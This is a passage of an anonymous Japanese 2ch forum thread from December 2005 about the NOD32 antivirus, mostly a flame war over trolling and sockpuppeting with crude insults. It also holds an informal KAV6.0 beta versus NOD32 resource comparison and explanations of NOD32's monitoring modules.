608 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:22:04 ]: NODかわいいよNOD
609 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:22:18 ]: この時間帯は、外駐なんじゃねの～？
マイナーだからな。
610 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:27:24 ]: >>605
世の中は、広いんだよ
俺がせっかく伊太利亜からカキコしにきてるって
のによまったく失礼だぜ・・・
611 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:47:38 ]: 精神が病んでるな。
612 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:50:35 ]: 今起きたお(´･ω･`)
613 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 05:08:38 ]: 頭がこんがらがってるわ
ノートンアンチウィルスだけどいま期限切れてそのままになってる。
614 名前：名無しさん＠お腹いっぱい。 [2005/12/20(火) 05:14:29 ]: NOD３２最高です
615 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 05:29:31 ]: アｱ凵アｱσ 相楽ないじゃん
616 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 05:54:15 ]: 他とのまぐわりはどうなん？？？
あくまで・・・・サブに撤するの。。。
617 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 06:00:55 ]: ∽鬼門に這入ったな∽
618 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 06:07:42 ]: （　（　( ( ( (ﾟ∀ﾟ) ) ) ）　）　）菊門
619 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 07:54:41 ]: まだこのキチガイ荒らしいたんだ。
ざっと2、3年粘着してるのかな、頑張るね。
620 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 08:45:35 ]: (　・∀・)ｱﾋｬ朝から必死ですね
便乗も計算いれとくように
妄想激しそうニダ（笑
621 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 12:31:57 ]: ここでノッドさんから一言↓
622 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 13:27:49 ]: おまえらみたいなｳﾞｧｶどもにはもう買ってもらわなくて良いよ。
623 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 16:01:30 ]: 昨日の朝に送った検体がもう対応されてる。
Esetって対応が早いね。
どこかの会社とは大違いw
624 名前：名無しさん＠お腹いっぱい。 mailto:sega [2005/12/20(火) 16:22:35 ]: >>623 乙

つ1.1329 (20051220)
625 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 16:38:38 ]: >>623
> どこかの会社とは大違いw

具体的に名前を挙げると叩かれるので、今度は遠回しにノートンを煽るやり方に変えたか。
ネタ切れで頭の弱いお前にはこのくらいしか考えつかんのだろうな。
626 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 16:42:17 ]: やみくもにノートンを煽る馬鹿>>623は、NODユーザーではなくただの荒らし。
627 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:05:33 ]: >>625-626
被害妄想ひどいぞ
628 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:07:10 ]: 被害妄想を使った荒らしだろw
まぁ、それでも>>623も大人気ないかな。
最後の行はモロ煽りだし不要だよ。
629 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:07:31 ]: 自治厨によって荒らしが増えていくという悪循環
こいつの被害妄想はもう手に負えんな

そして後はお決まりの自演が始まるｗ
630 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:12:32 ]: >>625
常駐監視毎度ながらご苦労さんｗ
ほんと素晴らしい自治ぶりですね、馬鹿？ｗｗｗ
631 名前：名無しさん＠お腹いっぱい。 [2005/12/20(火) 17:15:28 ]: 283 名前：カスペルスキーのファン[] 投稿日：2005/12/20(火) 17:10:50
私も東京だったら会見にいってみたかったです。
面白い話（雑談）とかきけたのかな？
632 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:25:34 ]: 荒らしによる投稿。
>>631
>>630
>>629
>>625

それにしても自演が酷いな。
程度が低いから直ぐに分かるので困らないけどな。
633 名前：名無しさん＠お腹いっぱい。 [2005/12/20(火) 17:37:49 ]: ここはなんで荒れだすんだろ？
634 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:38:20 ]: >>632
被害妄想ひどくない？だいじょうぶ頭？
見えない敵と闘うのは夢の中だけにしておきなさい。
635 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:42:43 ]: いや、見えない敵と言われてもなぁ。
荒らしと断定できるだけの要素があるしょ？

ここ最近になって、ノートンを使っての荒らしが横行し、その後は自治厨を使う荒らしに変貌。
これは誰が見ても簡単に分かることだから、荒らし以外はそれを避けるでしょうよ。
>>632で「程度が低いから直ぐに分かる」といってる意味ぐらい理解して欲しいね。

もちろん>>634が(以下省略
636 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:46:59 ]: 他のソフトとの比較をやめる
他のソフトのスレへの侵略をやめる

これだけで大幅に荒らしは少なくなると思う
637 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:49:30 ]: > 他のソフトとの比較をやめる
やめる必要なし、但し煽るのは禁止
もっとも、煽っているのは荒らしだけ。

> 他のソフトのスレへの侵略をやめる
これやってるのは荒らしと星猫だけ。

>>636さん、ちゃんとスレの進行を読んでる？
638 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 17:59:41 ]: >>637
読んでるよ？
何で他との比較をしなきゃいけないの？
どこにそんな必要性がわるわけ？
客観的に見て荒れるのはわかってるんだからやめたらいいと思うよ
それでも続けるなら荒らされても文句は言えないと思うがね
639 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 18:09:00 ]: >>638
他との比較がないと、性能の違いや評価ができないでしょ？
例えば、>>484さんがKAV6.0βとの比較をアップしてくれる予定になってる。
これなんか有意義だし、禁止する必要はないよ。

それに、荒れる荒れると君は騒いでいるけど>>637にも書いてるように荒らしの自演自作。
君の投稿は、その荒らしに荒らしていいよとお墨付きを与えているだけ。

それぐらい分かれよ。
640 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 18:27:49 ]: >>639
お前は馬鹿ですか？
なんだかんだ御託並べたところで現状荒れてるのは紛れも無い事実だろ
それらの原因となってるものを改善しなきゃいつまでたっても荒れたままだよ
荒れる元のネタを抑えるようにしなきゃ、どんだけ言っても荒らしは食いついてくる
そんなこともわからんの？
別にここがどんだけ荒れても俺はどうでもいいわけだが、客観的な意見を述べたまでだよ
641 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 18:31:46 ]: ＞ここがどんだけ荒れても俺はどうでもいいわけだが
ぷぷ、逃げ道を作ってますね？
642 名前：名無しさん＠お腹いっぱい。 [2005/12/20(火) 18:37:27 ]: ｍ9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
643 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 18:37:56 ]: >>640
どこが客観的なのかな？
ノートンやら自治厨やらを使って荒らしている事実を無視ですか？
そして、他スレの投稿を見てもNOD32ユーザーを装った荒らし投稿であることも明白なのに、それも無視ですか？
NOD32ユーザーはここに粘着して荒らしている奴よりずっと知識も豊富でまともだよ。
それも分かりませんか？

君の言い分は、荒らしのそれと同じレベル。
もちろん、だからと言って荒らし君だとは言いませんけどねw
644 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 18:54:06 ]: ×他スレの投稿を見てもNOD32ユーザーを装った荒らし投稿であることも明白
○他スレの投稿を見てもNOD32ユーザーを装った雑音による荒らし投稿であることも明白
645 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 19:02:40 ]: 雑音にこだわってるヤツって同一人物だろきっと？
気持ち悪いヤツだよなぁ・・・・
雑音なんてとっくにいなくなってアンタが追いかけてるのは幻影に過ぎないんだよ。
646 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 19:13:18 ]: どうしてそんなことがわかるんだろw
647 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 19:36:12 ]: 過去の投稿見てれば誰でも簡単に分かるじゃんw
648 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 19:44:31 ]: >>633
このスレというか。セキュリティ板自体が荒れやすい傾向にあるかと
649 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 19:52:48 ]: まあみんなNOD32使ってろってこった
650 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 20:12:23 ]: おれもいまじゃ熱狂的なNODユーザーだが、以前は、そう、2000～2004までバスター使いだった。
何の疑問もなくそんなものだと思い使い続けてた。
あの事件があるまでは。
そして、他スレでガンガン宣伝されてたNODに興味を持って調べて、そして・・・・・
/チラシの裏終わり/
651 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 20:20:41 ]: 人生ｵﾜﾀ＼(^o^)／
652 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:05:24 ]: ×他スレの投稿を見てもNOD32ユーザーを装った雑音による荒らし投稿であることも明白
○他スレの投稿を見てもNOD32ユーザーの雑音による荒らし投稿であることも明白

雑音＝NOD32ユーザー。
誰も騙されない工作>>644投稿を、何度もしつこく繰り返すなよ、ｷﾁｶﾞｲ電波（雑音）。

【軽快動作】NOD32【アンチウイルスソフト】
pc8.2ch.net/test/read.cgi/sec/1112351342/
>482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp　[sage]　投稿日：2005/04/25(月) 10:45:08
>連絡事項
>
>NOD32をWindows Server 2003　で使っているユーザーへ
>現在sp1をあてると通信不能となり最悪な状況下だと、リブートの繰り返しとなりますから注意してください。
>開発元で、現在対策バージョンを作成中とのことです。
>リブートの繰り返しとなった場合の処置
>sp1を削除すると正常な状況となります、起動後直ぐにリブートされますから通常起動では削除が困難です。
>セーフモード＋コマンドプロンプトを選択して起動し、コマンドプロントからエクスプローラを起動するとタスクバーが
>現れますので、コントロールパネル・アプリケーションの追加と削除を選びsp1を削除してください。
>尚、エクスプローラはコマンドプロンプトで「explorer.exe」と打ち込むと起動されます。
>
>追伸
>ここに住み着く粘着荒し自身が自演自作で荒し続けていますが無視してください。
>もちろん、荒らしているのは私ではありません。
>緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。
653 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:12:49 ]: また基地外節が始まった、やれやれだな。
654 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:16:31 ]: 雑音より基地害のほうが最悪>>652キモイ。
655 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:20:13 ]: 雑音＝基地害
656 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:24:56 ]: 自治厨の特徴として

・他ソフトの比較を激しく嫌う（明らかにNODユーザーと分かる場合でも、激しく罵詈雑言を与える）
・自分の発言を擁護する自演粘着、常駐監視
・精神分裂気味、被害妄想が激しくノートンという言葉あるいは、
それを思わせる（注・他の人はまったく思わない）言葉に以上に敏感
・反論されると即荒らし認定キチガイ認定をする

が挙げられる。

今までの流れを見ると
このスレにはNODと他のソフトを比較しただけで自治厨に罵倒され
荒らしになったユーザーが多いと思われる。
いわゆる、このスレが荒れるのは若干一名の粘着自治厨が原因と思われる。

どんなスレにも荒らしはいるが、このスレ程多くは無い。
657 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:26:21 ]: さて、そろそろ朝の8時ごろまでの基地害TIMEかな。
みんな寝るべ寝るべ。つきあってられねえ
658 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:34:47 ]: >・精神分裂気味、被害妄想が激しくノートンという言葉あるいは、
>それを思わせる（注・他の人はまったく思わない）言葉に以上に敏感

やはりセキュリティ板を荒らしている真犯人は

×　NOD使い（雑音も含む）
○　ノートン使い

なんでしょうな。
659 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:37:31 ]: 自演だらけ？で、なんだかよく分からない流れだけども、
NODの人達が無実だというのはよく分かった。
660 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:38:33 ]: "NODの人達"に該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。
661 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:48:35 ]: 自治厨が出てこなければ全ては丸くおさまりそうだな
特にノートンとの比較が出た後の荒れ具合は最悪だ

比較が嫌なら無視すればいいのに自治厨がへばりつく
普通のＮＯＤユーザーに対しても容赦が無い
まぁ>>625->>626や>>640みたいな事言われれば普通むかつくだろ
てか荒らそうとしてるとしか考えられない

ようするに自治厨は自分のポリシー（他ソフトとの比較は良くない！）の為に
結果、自治するつもりが同じＮＯＤユーザーを叩きまくり、このスレを荒らすことになっている

自治厨さえこの世から消えれば、普通に戻るだろ
ま、今度は自治厨からアンチにでもなるかもしれんが
662 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:54:02 ]: そんなこといってるとまた自治厨が出るぞ・・・
663 名前：484 mailto:sage [2005/12/20(火) 21:56:49 ]: 今日、カスペルスキーアンチウイルス5 特別優待版が到着しました。
早速インストールを行い、ユーザー登録を済ませてKAV6.0ベータ版のダウンロードを行ったのだけど、
所定の手続きを済ませたけど、ダウンロードキーが正しくありません。と出て上手くダウンロード出来ない状況です。

もう少し調べてみますが、KAV6.0ベータの報告は少し遅れそうです。

追伸
相変わらず、荒らしさんが騒いでいるみたいですけど放置で行きましょう。
664 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 21:59:04 ]: >>661
雑音って、何処のスレでもアンチ×××とか×××厨という造語を使うのが好きなんだな（ｗ

インテルの繁栄とAMDの衰退 Part19
pc7.2ch.net/test/read.cgi/jisaku/1133783863/l50

431 名前：Socket774 本日のレス投稿日：2005/12/20(火) 11:46:42 FB9OTJzx
>>429
同様のことは64信者にも言えることだけどな。
それに、なぜネトバ悪い面を見ていないと決め付ける？
ネトバの不利な面もあえて分かってる使ってるとしたら？
お前らアンチネトバ教の妄想がいかに激しいか、それはネトバ厨以上のものだ。
他人の使ってるモンにごちゃごちゃ抜かすなって言ってんだ。
いい加減わかんねぇの？
665 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 22:00:52 ]: >>664
おっといきなり出てきたな粘着
今度は(wにして自演かｗ

ご苦労さん、今度は荒らし以外の　比較　を罵倒しないようになｗ
666 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 22:04:07 ]: tmp5.2ch.net/test/read.cgi/tubo/1130566010/116
667 名前：484 mailto:sage [2005/12/20(火) 22:14:58 ]: ああ、やっと分かったよ。
KAV6.0ベータ版がダウンロードできない理由発見。
インターネットセキュリティオプションをカスタマイズしないとダメだとHPに書いてあった。
無事ダウンロードしたので、頑張ってテストしてみます。

あと、KAV6.0ベータ版は誰でもダウンロード出来るようです、買う必要なかったのか・・・
下記からダウンロードできますので、興味ある方はどうぞ。

> ttp://www.kaspersky.co.jp/beta.html
668 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 22:16:25 ]: 報告ﾏﾁ＼(^o^)／
669 名前：484 mailto:sage [2005/12/20(火) 22:20:15 ]: うわー、俺ってばか。
ダウンロードしたのアンチスパムだ・・・・
これ入らんわ。
あー、なんでこんなに焦っているのか・・・なさけねぇ。
ちゃんと、KAV6.0ベータ探してきます。

笑ってやってください。
670 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 22:28:59 ]: そんなどうでもいいこと書かなくていい
671 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 22:31:59 ]: 比較は比較スレでやる。
pc8.2ch.net/test/read.cgi/sec/1132160664/

カスペの話はカスペスレでやる。
pc8.2ch.net/test/read.cgi/sec/1129895815/
pc8.2ch.net/test/read.cgi/sec/1130503686/

常識守って2chを利用しる。
672 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 23:04:01 ]: と、粘着荒らしが因縁をつけています。
484さんガンバレ
673 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 23:35:07 ]: SpybotとSpywareBlasterを
NOD32と共存させたいのですが、
不具合等ありますか？
674 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 23:36:51 ]: SpybotS&Dは大丈夫　もう一個はｼﾗﾈ
675 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 23:37:12 ]: ない。
のりかえてから１年間でトラブルなし。
676 名前：484 mailto:sage [2005/12/21(水) 00:13:42 ]: ふー、KAV6.0ベータの簡易テスト終了。

KAV6.0ベータは、噂どおりに軽い。
PFWの機能が付加されており、統合型のアンチウィルスソフトへと進化している模様。

使用感としてはNOD32と体感で殆ど同じ、これはテスト機の性能にもよるかな？
体感で殆ど変化がなかったので、system32フォルダ内をエクスプローラで移動することによるポインティングを行い、
ProcessExplorerでCPU使用率の変化と常駐監視プロセスが消費したCPU時間を計測してみた。

KAV6.0ベータはNOD32やK5が入っているとインストできない為、全てのセキュリティソフトをアンインストールし、
個別にインストールしてテストしました。

結果
KAV6.0 常駐プロセス=avp.exe CPU使用時間 1分03秒843ミリ秒占有メモリサイズ 19,768K 仮想サイズ 113,476K
NOD32 v2.50.42 常駐プロセス=nod32krn.exe CPU使用時間 24秒515ミリ秒占有メモリサイズ 15,236K 仮想サイズ 75,388K

一応、スペックの上ではAMONに軍配が上がったが、体感差は殆どない状況でした。

テスト機
CPU P4-2.8C メモリ 512*2(3200) HT-ON
OS WindowsXP Pro(SP2)
677 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:15:26 ]: スレ違いですよ
678 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:17:50 ]: と、粘着荒らしが因縁をつけています。
484さんガンバレ
679 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:19:19 ]: >>676
なるほどねえ、おつかれさん。事後報告を待つ。
いちおう、そのカキコを見るにNODと同等ならあえて乗り換える必要性はないと思われるが如何か。
680 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:22:33 ]: >>679
自演乙（ｗ
681 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:25:05 ]: やはり自治厨とやらが荒らしだったのかよ。
>>484の出してくれた比較の何が悪いのかわからん。
682 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:26:32 ]: >>673
両方大丈夫、問題無し、俺はね。
683 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:26:46 ]: 671 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/12/20(火) 22:31:59
比較は比較スレでやる。
pc8.2ch.net/test/read.cgi/sec/1132160664/

カスペの話はカスペスレでやる。
pc8.2ch.net/test/read.cgi/sec/1129895815/
pc8.2ch.net/test/read.cgi/sec/1130503686/

常識守って2chを利用しる。
684 名前：484 mailto:sage [2005/12/21(水) 00:27:59 ]: >>679
ありがとう。

> いちおう、そのカキコを見るにNODと同等ならあえて乗り換える必要性はないと思われるが如何か。
どうかなぁ？、俺的にNOD32が気に入っているし開発思想も大好きだから乗り換えることはないけどさ。
軽さとかを気に入って使っている人ならKAV6.0が選択肢に入っていてもいいのかもな。
KAVは、NOD32より多くの書庫に対応しているから、常駐設定も高にすると書庫も対象に常駐監視されるから
そこに魅力を感じる人もいるのかもな。
まぁ、KAV6.0の日本語バージョンが出るころにはNOD32もv3になってそうだからなんともいえないけど。

素性は頗るよいと感じたよ。
次はもう少し本格的な試験をしてみるつもりです。
どうもKAVはサブストリームの検査をして無いようなので、そこらへんを詳しく叩いてみるつもり。
685 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:30:52 ]: （；＾ω＾）.。O( 自演おつカレー
686 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:34:00 ]: >>685
そんなに比較が嫌なら他いけよ自治厨
687 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:36:34 ]: > やはり自治厨とやらが荒らしだったのかよ。
正確に書かないと荒らしのネタにされるよ。

正確には、やはり自治厨を演じている奴(>>683,>>671)が荒らしだったのかよ。
荒らしの自演、お疲れさん。
688 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:36:38 ]: 自治厨は自分が主役じゃなきゃイヤなんだろうね。哀れなヤツ・・・
689 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:37:37 ]: と、荒らしが自演中
690 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:37:51 ]: >>687
自演乙
やってることはお前と同じ
今度はむやみに他人を叩くなよ
691 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 00:38:59 ]: >>686＝自治厨＝自演厨＝雑音＝NOD厨
692 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:39:26 ]: >>690
まともな奴なら>>687に文句は言わないよ。
文句を付けるのは自演している荒らしだけ。
なんて分かりやすい人なのよ。
693 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:40:45 ]: 比較は比較スレでやる。
pc8.2ch.net/test/read.cgi/sec/1132160664/

カスペの話はカスペスレでやる。
pc8.2ch.net/test/read.cgi/sec/1129895815/
pc8.2ch.net/test/read.cgi/sec/1130503686/

常識守って2chを利用しる。
694 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:41:05 ]: >>692
今度は荒らしじゃない比較をむやみに叩かなければ良し。
いや、荒らしもスルーしてくれ。
695 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:42:28 ]: 比較もいいけど
これをいれようと思ってる人の話をきいて
いただけますか？＞＜

公式に
>■ その他の機能
>
>インターネットから侵入するウイルスを検出　（ウェブアクセス時のウイルスチェック）【強化】
>多くのユーザーが利用するインターネットはウイルスの侵入経路の一つです。インターネットの通信方式で利用されているHTTP通信もIMONが監視を行います。これによりウイルスを侵入の段階で検出しウイルスの感染を未然に防ぎます。

ってありますが
HTTP以外の通信(FTPとか)は監視しないんですか？
ほかのウィルス検出ソフトはHTTP以外の監視してるんでしょうか？

やっぱりFW一体型じゃないから他の監視は無理なのですか？
696 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:44:12 ]: >>694は日本語が変なスレ主Z。
697 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:46:37 ]: >>696
日本語変でいいから、頼むな。
俺は別に煽るつもりはないし、お前は分かりやすい。

スルーすればすむだけだよ。
698 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 00:48:12 ]: BUCK-TICKのファンいますか？
699 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:48:26 ]: >>697
自演乙ｗ
700 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:52:02 ]: >>695
638 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/20(火) 17:59:41
>>637
何で他との比較をしなきゃいけないの？
どこにそんな必要性がわるわけ？
客観的に見て荒れるのはわかってるんだからやめたらいいと思うよ
それでも続けるなら荒らされても文句は言えないと思うがね
701 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:53:15 ]: >>695
638 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/20(火) 17:59:41
>>637
何で他との比較をしなきゃいけないの？
どこにそんな必要性がわるわけ？
客観的に見て荒れるのはわかってるんだからやめたらいいと思うよ
それでも続けるなら荒らされても文句は言えないと思うがね
702 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:53:57 ]: イカレタノワ　オレダケ　キミワスコシマトモダ
703 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:54:58 ]: >>695
ウィルスについて勉強しる。
704 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:58:03 ]: なにこのスレ(´・ω・)
スレ違いならすれ違いって言えよｗｗ
まじでキモイなｗｗ
厨はクソでもして寝てろ
705 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 00:59:07 ]: > HTTP以外の通信(FTPとか)は監視しないんですか？
IMONは監視しない、(一応テストもしてみました。
AMONが監視をしているから、書庫でなければ感知しますよ。

> ほかのウィルス検出ソフトはHTTP以外の監視してるんでしょうか？
していないケースが多いと思います。
基本的に他の多くのアンチウィルスソフトは受信後にチェックするケースが多いです。

> やっぱりFW一体型じゃないから他の監視は無理なのですか？
PFWは無関係ですし、HTTPSとかだと受信中に検出することは不可能ですしね。
706 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:00:03 ]: >>703
㌧
ウィルス対策のみならこれつかっときゃ大丈夫ってことだな？
707 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:00:33 ]: >>693
二回も同じことを言わないように。

お前が常識を守れ。
708 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:01:42 ]: >>706
自演乙ｗ
709 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:02:34 ]: >>707
何度も低能なレスを付けないように。

常識を知りなさい。
710 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:03:45 ]: >>705
おぉわかりやすくありがとん
やっぱりFWって基本はポート見えなくしたり
いらない通信ぐだけなんだな
711 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:04:53 ]: >>704
(´-`).｡oO( >>677で「スレ違いですよ」と言われてるじゃん･･･ )
712 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:08:43 ]: >>711
え？おれ今さっききたばかりで流れわからん。
答えてくれた親切な人のおかげで
解決したよ

ﾉｼ
713 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:10:10 ]: >>712
さっき来たばかりでデカい口を叩くなよ（ｗ
714 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:11:13 ]: >>712
つーか、たまにはクソして早く寝ろよ、スレ主よ。
715 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:16:14 ]: 今ダウンロードしてきた
再起動ついでに更新してみたら
レスがついててウマーｗ

いつきたってデカイ口叩いていいんだお
ていうかそんな口きいたとは思ってないお
さては普段ロクにダベったことないような
PCヲタが沸いてると見たお（＾ω＾；）

メリーｸﾘｽﾏｽとかがんばれお
716 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:17:33 ]: >>710
あい。
NOD32は他のアンチウィルスと違い軽さを武器にしています。
その為、常駐監視であるAMONは、そのままでは感染しない書庫等は検査対象から除外しています。
逆に、UPX等の実行型書庫については非常に強力な検査で中に潜むウィルスを発見します。
これをベースにしていますから、IMONやEMONやDMONという常駐監視の補佐モジュールを配置している訳です。
IMONはメールとHTTPプロトコルに対応し、書庫内も検査する仕組みですし、EMONはSMTPプロトコルを監視し書庫内も検査します。
DMONはOFFICE関連とIEが自動的にダウンロードするファイルのウイルス検査を行ないます。
これ等も書庫内の検査ありです。

このように、考えつくされた処置がNOD32の特徴です。
717 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:21:58 ]: >>715
いつも朝まで粘着自演しているから、
クリスマスの予約とか苦労しなくていいね。（＾ω＾；）
718 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:23:05 ]: >>716
あい。自演乙ｗ
719 名前：716 mailto:sage [2005/12/21(水) 01:24:13 ]: >>715さんへ
このスレには昔から住み着いている程度の低い荒らしがいます。
相手にしないようお願いします。

荒らし君の投稿 = 717,714,713
720 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:25:18 ]: pc7.2ch.net/test/read.cgi/pc/1133919764/l50
204 名前：名無しさん　[sage]　投稿日：2005/12/20(火) 17:13:01 0
雑音の習性に自分のレスやスレを他人の書いたもののように引用する癖があるのは知っているか？
721 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:31:01 ]: >>709
お前がな。
722 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:32:17 ]: 低能ﾚｽｷﾀ Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒(｡A｡)!!!
723 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:33:24 ]: >>721
お前がなｗ
724 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:34:45 ]: ｍ9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
725 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:36:09 ]: 低能ﾚｽ

>>709と>>722
>>709は>>707へのレス
>>707は>>693へのレスであり>>693は荒らしによるものと推定されている。

このことから
>>709は荒らしのレスと推定され、>>722も雑音に粘着する荒らしの投稿と推定させる。

結論
荒らしの自演自作。
726 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:37:59 ]: >>725

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

